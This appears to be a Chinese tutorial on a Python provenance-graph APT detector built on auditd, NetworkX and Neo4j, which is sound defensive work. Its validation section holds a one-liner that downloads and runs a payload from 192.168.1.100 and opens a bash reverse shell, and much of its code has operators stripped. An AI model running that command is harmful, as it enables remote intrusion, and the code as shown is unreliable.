
简介这套基于Python的溯源图APT攻击检测系统是面向网络安全毕业设计与图数据挖掘研究的完整实现方案覆盖从数据解析、溯源图构建到威胁判定的全流程重点解决高级持续性威胁的异常发现与攻击路径还原问题适合具备Python和网络基础的高年级学生、科研人员开展课题复现、课程实验或原型开发。压缩包共31个文件含11个Python源码、7个XML工程配置、4个Markdown文档及备份文件整体仅52KB源码按主程序、RGAT/GRU模型与数据解析分工文档梳理了DARPA TC CADETS数据集处理思路与算法原理XML为工程环境配置目录结构清晰便于按数据层、模型层和训练层定位。该资源作为曾获95分的毕业设计成果配套部署说明与数据集使用指引可支撑攻击链可视化、图数据挖掘安全实验及信息安全课程综合设计也可基于现有框架进行企业级威胁检测原型二次开发。已有113人学习浏览内容来自网络分享仅供学习交流。1. 为什么是溯源图APT攻击检测的第一性问题APT攻击高级持续性威胁和普通恶意软件最大的区别在于时间跨度——攻击者会花几周甚至几个月做侦察、横向移动和维持权限。基于单点特征比如杀毒软件查杀、签名比对的检测手段在这里基本失效因为攻击载荷往往是零日漏洞日志特征也和正常运维流量高度相似。溯源图分析Provenance Graph Analysis的思路是把系统看作一张图进程、文件、网络连接是节点它们之间的调用、读写、访问关系是边。攻击行为无论怎么伪装都要在这张图上留下路径——从初始入侵点一步步移动到目标资产。这份基于Python的APT攻击检测系统核心就是构建这张图并做异常路径挖掘输出可疑攻击链路和部署方案。适合正在做安全方向毕业设计、或者想在企业内网做轻量级威胁检测的Python开发者。2. 溯源图建模系统调用数据如何变成可分析图结构2.1 数据源选型auditd、eBPF还是Sysmon构建溯源图的第一步不是写代码而是选数据源。常见做法是三者里选一Linux上用auditd或eBPF比如Falco的驱动Windows上用Sysmon。我一般建议毕业设计或小规模原型直接锁定auditd理由很实际——它不需要编译内核模块在CentOS 7、Ubuntu 20.04、Kylin这些发行版上一条命令就能装上日志格式稳定网上资料多出问题容易排查。eBPF的优势是事件更细、性能开销更低但它的开发门槛高内核版本敏感写不好还会把系统搞崩。Sysmon倒是Windows下的好选择但如果你后续要做数据分析和告警Windows生态的日志采集和Python对接反而绕路。所以这套系统默认数据源是auditd同时预留了通用JSON接口——将来想接Sysmon或eBPF只要写一个适配器把事件转成统一格式就行。部署auditd只需要三步第一步装包第二步加规则第三步重启服务。规则是这套系统的命门加少了抓不到关键事件加多了日志量会直接把你磁盘写满。最基础的一组规则长这样# /etc/audit/rules.d/apt.rules -w /etc/passwd -p wa -k etc_passwd_mod -w /etc/shadow -p wa -k etc_shadow_mod -w /tmp -p rwxa -k tmp_access -a always,exit -F archb64 -S execve -k process_exec -a always,exit -F archb64 -S socket -F success1 -k net_socket -a always,exit -F archb64 -S connect -F success1 -k net_connect说一下这几条规则的作用前两条监控敏感文件读写-p wa表示记录写入和属性变更-k后面的字符串是自定义标签后面解析日志时可以直接按标签过滤/tmp的rwxa覆盖读、写、执行、属性变更四类操作因为很多攻击载荷喜欢落地到/tmp再执行execve和connect是重头戏——前者捕获所有程序启动后者捕获网络连接。需要留意的是execve规则在高频业务服务器上会非常吵如果只是做原型验证可以把-k process_exec改成只监控/usr/bin/curl、/usr/bin/wget这类下载器。2.2 从日志行到图边一条写入路径的完整拆解auditd启动后日志会写入/var/log/audit/audit.log。一条典型的执行事件长这样typeSYSCALL msgaudit(1699510062.138:4387): archc000003e syscall59 successyes exit0 commcurl exe/usr/bin/curl keyprocess_exec typeEXECVE msgaudit(1699510062.138:4387): argc2 a0curl a1http://192.168.1.5/payload.sh typePATH msgaudit(1699510062.138:4387): item0 name/usr/bin/curl inode123456 dev08:01 mode0100755这类日志初看是几行堆在一起实际上每条事件由typeSYSCALL主记录和若干辅助记录组成。主记录里的syscall59是execve的系统调用号exe是程序路径comm是进程名辅助记录里的EXECVE给出完整命令行PATH给出文件路径。我要做的就是从这些字段里抽出三元组主体进程、客体文件/网络、动作执行/读写/连接然后映射成图中的一条有向边。python解析这一步不要用现成的auditdPython库——那些库大多是面向日志审计的字段抽取不灵活。自己写正则反而更可控。一个能用的解析函数长这样import re from datetime import datetime import networkx as nx AUDIT_LINE re.compile( rtype(?Pevent_type\w).*?audit\((?Pts[\d.]):\d\):.*? rcomm(?Pcomm[^]*)\sexe(?Pexe[^]*) ) def parse_audit_line(line: str): m AUDIT_LINE.search(line) if not m: return None return { event_type: m.group(event_type), ts: float(m.group(ts)), comm: m.group(comm), exe: m.group(exe) or m.group(comm), }这段代码只做了最核心的字段抽取。ts转成浮点数是为了后续时间窗口计算方便注意audit()的格式是秒.纳秒:序列号正则里我用[\d.]匹配时间戳部分序列号直接丢弃。comm是进程名exe是完整路径——如果没有exe字段比如网络事件就回退用进程名当节点标识。实际使用中你还会遇到typePROCTITLE、typeCWD这些辅助记录如果想还原工作目录和完整命令行需要额外解析这两类记录这里先不做展开。有了解析函数下一步是建图。我用networkx.MultiDiGraph做原型因为它支持多重边——同一个父子进程间可能同时存在exec和file_read两类关系这在后续做路径分析时是重要区分。节点分三类process、file、socket用元组(node_type, node_id)做唯一标识避免进程ID和文件路径重名冲突。class ProvenanceGraph: def __init__(self): self.graph nx.MultiDiGraph() self._pid_map {} # pid - node_id用于解析父子关系 def add_process_event(self, parent_pid, child_pid, exe_path, ts): parent_node (process, f{parent_pid}{ts:.0f}) child_node (process, child_pid) self.graph.add_edge(parent_node, child_node, tsts, actionexec, exeexe_path) def add_file_event(self, pid, file_path, action, ts): proc_node (process, pid) file_node (file, file_path) self.graph.add_edge(proc_node, file_node, tsts, actionaction) def add_net_event(self, pid, remote_ip, remote_port, ts): proc_node (process, pid) sock_node (socket, f{remote_ip}:{remote_port}) self.graph.add_edge(proc_node, sock_node, tsts, actionconnect)这里add_process_event是这套系统最关键的接口第一个参数是父进程PID第二个是子进程PID第三个是可执行文件路径。父进程PID怎么拿到auditd的SYSCALL记录里有个ppid字段提取出来填进去即可。为什么父进程节点要用f{parent_pid}{ts:.0f}这种方式因为PID会被复用——一个进程退出后操作系统可能把同一个PID分配给新进程如果不加时间戳图中就会出现两条跨越好几天、实际上毫无关系的进程边被连到一起。这是我第一次做原型时踩过的坑后面避坑章节还会细说。2.3 图存储选型NetworkX原型与Neo4j落地的边界图构建完成后面临一个存储选型问题小规模验证用NetworkX直接存在内存里足够但如果要长期监控或者模拟企业环境内存会被撑爆。业界主流方案是落到图数据库以Neo4j最常见。我在这套系统里的建议是原型阶段用NetworkX做算法验证落地阶段切Neo4j中间加一层DAO抽象不要一开始就绑死任何一个存储。Neo4j的写入要特别注意批量提交逐条写入在每天几十万条边的情况下会慢到无法接受。一条实际可用的导入代码片段from neo4j import GraphDatabase class Neo4jWriter: def __init__(self, uri, user, password): self.driver GraphDatabase.driver(uri, auth(user, password)) def batch_write_edges(self, edges, batch_size2000): with self.driver.session() as session: for i in range(0, len(edges), batch_size): batch edges[i:ibatch_size] session.run( UNWIND $batch AS e MERGE (src:Entity {id: e.src}) MERGE (dst:Entity {id: e.dst}) MERGE (src)-[r:ACTION {type: e.action, ts: e.ts}]-(dst) , batchbatch)MERGE和CREATE的区别在这里很关键MERGE会先查再建能避免重复节点但开销更大CREATE无脑插入速度快但重复事件会生成多条一模一样的边。溯源图场景下边的时序信息很重要所以重复边可以在查询时用时间窗口剪枝不必在写入时去重——这是我的实用建议。ts字段必须建索引否则按时间范围查路径时全表扫描会卡到怀疑人生。3. 核心模块实现采集、建图与存储的完整代码路径3.1 事件采集器实时读取与断点续传auditd日志是追加写入的文本文件采集器最简单的方式是单线程按行读但一旦采集器重启就面临“从哪一行继续读”的问题。我的做法是引入断点续传记录上次读取的文件偏移量重启后seek到那个位置。这样即使进程崩了也不会丢日志。同时要处理audit.log的轮转——auditd默认按大小或日期轮转轮转后旧文件变成audit.log.1如果采集器没感知到就会漏掉一整段时间的事件。import os import time class AuditTailer: def __init__(self, log_path, offset_file/var/lib/apt-detector/offset): self.log_path log_path self.offset_file offset_file self.offset self._load_offset() def _load_offset(self): if os.path.exists(self.offset_file): with open(self.offset_file) as f: return int(f.read().strip()) return 0 def tail(self): while True: with open(self.log_path, r, errorsreplace) as f: f.seek(self.offset) for line in f: yield line self.offset f.tell() self._save_offset() time.sleep(1) def _save_offset(self): tmp self.offset_file .tmp with open(tmp, w) as f: f.write(str(self.offset)) os.rename(tmp, self.offset_file)有几个细节值得留意。errorsreplace是必须的——audit.log里偶尔会有不完整的行系统崩溃时写入一半不加这个参数会让整个迭代器崩掉。seektell的组合是断点续传的关键每次读完一批行就把偏移量写到临时文件再rename这一步是为了避免写入中途进程崩溃导致偏移量文件损坏。轮转的处理逻辑我这里没展开简单说就是如果发现log_path的 inode 变了说明文件被轮转过要把audit.log.1也消费一遍再把偏移量归零。3.2 图构建器从事件流到可查询图结构采集器产出的是原始行需要经过parse_audit_line变成结构化事件再根据事件类型分发到ProvenanceGraph的不同添加方法。这一步是整个系统的中枢我把分发逻辑单独抽出来方便后续扩展新事件类型。class EventDispatcher: def __init__(self, graph: ProvenanceGraph): self.graph graph self.handlers { execve: self._handle_exec, PATH: self._handle_path, connect: self._handle_connect, } def handle(self, parsed_line: dict): event_type parsed_line[event_type] handler self.handlers.get(event_type) if handler: handler(parsed_line) def _handle_exec(self, event): # auditd的execve事件里ppid在SYSCALL记录中 parent_pid event.get(ppid, unknown) child_pid event[pid] self.graph.add_process_event(parent_pid, child_pid, event[exe], event[ts])分发器的好处是将来接入eBPF或Sysmon数据源时只需要把字段映射成统一的dict格式handlers逻辑完全不用改。_handle_exec里如果用unknown当父进程说明上游解析漏了字段这种情况下图还是能建但父子关系会断掉——检测效果会大打折扣。所以我建议在_handle_exec加一行计数定期检查unknown父进程的比例超过5%就说明解析逻辑需要排查。3.3 时序聚合与图快照让图随时间“滚动”溯源图不能无限增长。一台业务服务器跑一个月图里可能上亿条边查询和分析都会变慢。我采用的方案是滑动时间窗口 周期快照默认窗口60秒窗口内的边实时进入分析模块窗口结束时的图快照存入Neo4j供历史回溯使用超过24小时的旧快照定期清理保留摘要统计特征节点数、边数、密度等。class WindowedGraph: def __init__(self, window_sec60): self.window_sec window_sec self.current_graph nx.MultiDiGraph() self.window_start time.time() self.historical_features [] def add_event(self, edge): self.current_graph.add_edge(*edge) now time.time() if now - self.window_start self.window_sec: self._snapshot() def _snapshot(self): n_nodes self.current_graph.number_of_nodes() n_edges self.current_graph.number_of_edges() density nx.density(self.current_graph) self.historical_features.append({ window_start: self.window_start, window_end: time.time(), nodes: n_nodes, edges: n_edges, density: density, }) self.current_graph.clear() self.window_start time.time()这里有个微妙的设计选择窗口结束是“清空重建”还是“保留旧边做滑动”。清空重建的优点是内存稳定适合长时间运行缺点是一个跨窗口的攻击行为会被拦腰截断。滑动窗口保留上一个窗口的部分边能解决这个问题但实现复杂度高。我的折中方案是检测窗口用60秒清空重建但判定攻击路径时会把相邻三个窗口的摘要特征合并——虽然边的细节丢了但统计特征还在足够捕获持续性异常。4. 异常检测算法从图特征到攻击路径判定的实战参数4.1 图特征抽取哪些指标真正反映攻击行为溯源图建好之后最难的一步是判断“这张图哪里不正常”。传统的做法是盯着单台主机的CPU、内存、网络连接数但在APT场景里这些指标在攻击初期往往毫无变化——攻击者控制的进程伪装成正常服务CPU和内存占用甚至比合法业务还低。图特征的优势在于它能捕捉关系层面的异常一个平时只读本地文件的进程突然向外网IP发起大量连接一台从没运行过crontab的服务器凌晨三点出现新的父子进程关系。我在这套系统里提取三类特征每类都有明确的攻击语义特征类别计算方式捕获的攻击行为节点度突变进程节点的出度/入度与历史统计值的偏离度下载器落地、批量文件遍历时间窗口密度窗口内新增边数 / 节点数的比值批量扫描、数据打包路径异常度从入口节点到敏感文件节点的最短路径长度和后缀权限提升、敏感文件读取直接用NetworkX的degree()和shortest_path()就能算不需要引入图神经网络。实际效果上统计特征加路径规则已经能拦截大部分“落地—执行—回连”型攻击链GNN是锦上添花不是必需品。import numpy as np from scipy.stats import zscore class FeatureExtractor: def __init__(self, history_len50): self.history [] # 每个窗口的节点度序列 self.history_len history_len def extract_node_features(self, g: nx.MultiDiGraph, ts: float): features {} for node, deg in g.degree(): features[node] { in_degree: g.in_degree(node) if hasattr(g, in_degree) else 0, out_degree: g.out_degree(node) if hasattr(g, out_degree) else 0, ts: ts, } return features def compute_anomaly_score(self, node_features: dict): # 与历史均值比较用z-score归一化 scores {} for node, feat in node_features.items(): cur_out feat[out_degree] if self.history: hist_out [h[node][out_degree] for h in self.history if node in h] if len(hist_out) 3: mean np.mean(hist_out) std np.std(hist_out) if std 0: scores[node] abs(cur_out - mean) / (std 1e-6) return scorescompute_anomaly_score里那个1e-6是防除零的但更重要的设计是len(hist_out) 3这个门槛——如果某个进程才出现过两三次它的历史统计不具代表性强行算z-score会误报满天飞。合理的做法是新节点先收集至少3个窗口的基线数据再进入异常评分。这在生产里叫“冷启动期”毕业设计里虽然可以放宽但建议在技术报告里说明这个取舍。4.2 攻击路径挖掘从可疑节点回溯到初始入口检测到可疑节点还不够用户想知道的是“它从哪里来、要往哪里去”。攻击路径挖掘做的事情就是给定一个可疑节点沿着边的反方向往前回溯找到这条链路的起点再沿着正向看它访问了哪些敏感资源。实现上我用深度优先搜索限制深度和时间的双向扩展。def trace_attack_path(graph, suspicious_node, max_depth5, window_sec300): 从可疑节点回溯攻击路径 now time.time() path nx.ancestors(graph, suspicious_node) # 向上找所有祖先 if len(path) 50: # 祖先过多说明这是长时间运行的父子链只保留最近时间窗口的边 relevant [n for n in path if now - graph.nodes[n].get(last_seen, now) window_sec] return sorted(relevant, keylambda n: graph.nodes[n][last_seen])[-max_depth:] return sorted(path, keylambda n: graph.nodes[n].get(first_seen, 0))[:max_depth]nx.ancestors返回所有祖先节点但在复杂图里祖先数量可能爆炸。我的处理是加一个上限50超过就只保留最近时间窗口内有活动的边——攻击路径的特点是“短时间内有密集动作”正常进程的祖先图虽然大但时间跨度长。真正落地时还有一个容易被忽略的参数max_depth不要设太大。横向移动链条通常只有3到4层设成5已经足够太深会把正常调用链误判成攻击路径。4.3 告警评分与阈值设定让模型输出可操作的结果算法层输出的是一堆带有异常分数的节点和路径但安全运营人员要的不是这些而是一条清晰的告警谁、在什么时间、通过什么路径、访问了什么敏感文件。告警评分我用加权求和权重是血泪调出来的def compute_alert_score(alerts): score 0 for alert in alerts: # 权重敏感文件访问 网络连接异常 新进程执行 if alert[type] sensitive_file_access: score 3.0 elif alert[type] unusual_network: score 2.0 elif alert[type] new_process: score 1.0 # 时间惩罚因子攻击链越短威胁越大 score max(0, 5 - alert[path_length]) * 0.5 # 置信度衰减多次同类告警时越靠后的告警权重越低 if alert[repeat_count] 3: score * 0.8 return min(score, 10.0)这套评分逻辑的原则是宁可少报不能乱报。敏感文件访问权重最高因为无论APT怎么变最终目标绝大多数是数据窃取或系统破坏网络连接异常次之因为回连IP的行为最像正常业务流量不好一棍子打死新进程执行权重最低因为正常运维也会频繁启动新进程。阈值默认设5.0也就是至少得命中一个高权重事件才能触发告警。这个数值不是拍脑袋定的需要根据实际环境调整——开发机、测试机、生产机的误报曲线完全不一样。5. 避坑指南溯源图落地中的五个常见问题5.1 时间戳时区不一致导致路径回溯错乱现象从可疑节点往回溯路径得到的路径时间线是倒挂的——子事件时间早于父事件攻击链路看起来支离破碎。原因auditd的原始时间戳是UTCPython的datetime.now()默认取本地时区两者混用后时间窗口过滤直接把正常边都滤掉了。更隐蔽的是如果你的服务器设置了TZ环境变量后重启auditd它内部缓存的时间格式可能不刷新。解决统一用UTC处理。在解析函数里直接把时间戳转为float不做任何时区转换展示时再换算本地时间。关键写法是datetime.fromtimestamp(ts, tztimezone.utc)别用无参的fromtimestamp。另外每次修改auditd配置后必须重启服务否则时间字段偶尔会沿用旧的时区设置。5.2 PID复用导致父子关系指向错误现象图里出现了大量“八竿子打不着”的边比如sshd直接拉起python3但时间戳上两者隔了好几个小时——这两个进程其实毫无关系。原因系统日志里只有PID没有进程启动时间。内核回收PID后一个新进程会占用和几小时前某个进程相同的PID如果你的节点标识只用PID就会把两条不相关的生命周期连在一起。这是我第一次做原型翻车最惨的一次整个图的边飞了三分之一。解决节点标识用PID 启动时间联合确定启动时间去/proc/PID/stat的第22个字段starttime单位是时钟周期。构建图之前先查一次starttime并缓存后续事件到达时对比当前PID缓存的启动时间不一致就当成新节点处理。5.3 高频进程日志洪峰把图撑爆现象系统运行几个小时后图上全是nginx或java进程疯狂读写文件的边真正的攻击信号被淹没在噪声里。原因业务进程的行为模式是“少数进程贡献了绝大多数事件”。如果没有降噪策略networkx的内存占用会线性增长最终OOM。同时异常检测的基线也被高频进程“带偏”z-score形同虚设。解决两条路并行。一是采集层限流同一个(pid, action, remote_ip)组合如果每秒事件数超过100条只保留每条事件的前5条和最后的1条二是分析层过滤对超过24小时都稳定的长驻进程降低其边的权重。注意是“降权”不是“删除”因为攻击者可能利用的就是这类高频进程做隐蔽通信。5.4 Neo4j导入慢到怀疑人生现象批量写入100万条边跑了20分钟没写完排查半天发现Neo4j所在磁盘的IO已经打满。原因MERGE的查询计划里有节点匹配的索引查找索引未建的话每条边都要扫全图复杂度是O(N)而不是O(logN)。更坑的是如果图里节点数本身几百万即使有索引索引项也未必全部被页缓存命中。解决先批量建节点索引再写边。还有一招很实用把batch_size从2000调到5000甚至10000Neo4j的写事务在单个事务内边数越多每个边的开销越低。实测在普通SSD上batch_size5000比2000快50%以上。但如果调到50000并发控制会开始变慢没有绝对最优值需要自己压测。5.5 告警误报率失控全公司都在骂现象上线第一天告警了87次安全组同事点开一看绝大多数是凌晨的备份脚本、CI/CD部署任务、开发人员手动跑测试——没有一条是真实攻击。原因阈值设置参考的是教科书默认值没有结合实际业务环境的“正常噪声”。备份脚本、监控探针、定期任务都属于正常生命周期行为但它们在图上的特征周期性、低并发、固定目标和攻击行为差异极大。解决加一个学习期默认前7天不告警只统计特征分布。然后按“95分位数”动态调整阈值——取正常窗口的节点出度95分位作为告警线上限而不是用固定整数。学习期结束后每周自动更新一次基线避免业务变化导致基线失效。这个动态基线机制在干净的内网环境里能把误报率压到5%以下是我测试下来最有效的单一优化手段。6. 部署方案验证单机演练与告警置信度校准6.1 Docker Compose快速拉起全套环境这套系统涉及auditd采集、Python分析、Neo4j存储三个组件手动部署容易漏环境变量。我用了Docker Compose编排单个docker-compose.yml就能拉起整套环境version: 3.8 services: neo4j: image: neo4j:5.16.0 environment: - NEO4J_AUTHneo4j/testpassword123 - NEO4J_server_memory_pagecache_size512M volumes: - ./neo4j-data:/data ports: - 7474:7474 - 7687:7687 detector: build: ./detector depends_on: - neo4j volumes: - /var/log/audit:/var/log/audit:ro - ./config:/app/config environment: - NEO4J_URIbolt://neo4j:7687 - WINDOW_SEC60 - ALERT_THRESHOLD5.0 - LEARNING_DAYS7 restart: unless-stopped一个重要的部署细节auditd日志必须只读挂载否则采集器可能会有写权限而误改日志文件。ALERT_THRESHOLD环境变量对应前面告警评分模块的阈值上线前先设成8.0观察一周确认基线稳定后再降到5.0——这是避免第一天就被误报淹没的实用手段。6.2 用一条模拟攻击命令验证检测链路部署完成不等于能检测必须做一次端到端演练。我的标准验证流程是先在干净的测试机上执行一条模拟攻击命令然后去Neo4j或者告警日志里看结果。模拟命令尽量贴近真实APT的“下载—执行—回连”三段式# 模拟APT攻击下载恶意payload并执行然后反向连接 curl -s http://192.168.1.100:8080/payload.sh -o /tmp/payload.sh chmod x /tmp/payload.sh /tmp/payload.sh -c bash -i /dev/tcp/192.168.1.100/4444 01等待30秒让窗口滚动一次然后检查告警输出。如果告警里出现了/tmp/payload.sh节点、192.168.1.100网络连接、以及从curl到bash的父子链说明全链路是通的。如果只看到网络连接告警而看不到文件落地告警问题出在auditd规则没覆盖到/tmp写入如果链路断了但没有任何告警排查顺序一定是auditd日志有没有 → 解析器有没有吃得下 → 图有没有边 → 特征提取有没有算出分数 → 阈值是不是设太高。6.3 告警置信度校准让系统学会“闭嘴”演练通过后最后一件事是校准告警置信度。我习惯用一个简单的混淆矩阵统计校准前后的效果先收集一周的真实告警人工标记哪些是真的攻击、哪些是误报然后按“灵敏度”和“误报率”两个维度调阈值。实操中我发现一个现象阈值调到9.0时灵敏度太低调到4.0时又天天狼来了最后落到5.5~6.0之间才勉强平衡——不同环境的最佳点差异巨大没有捷径。从那以后我每次部署这套系统都强制自己走一遍“学习期观察→模拟攻击演练→阈值调整→再观察一周”的循环。逻辑很简单如果连我自己的模拟攻击都检测不到那系统就是白装的。希望帮到你——下载这份基于Python的APT攻击检测系统源码包时记得先读里面的README和config.yaml把环境变量和路径改好再启动能少走很多弯路。本文还有配套的精品资源点击获取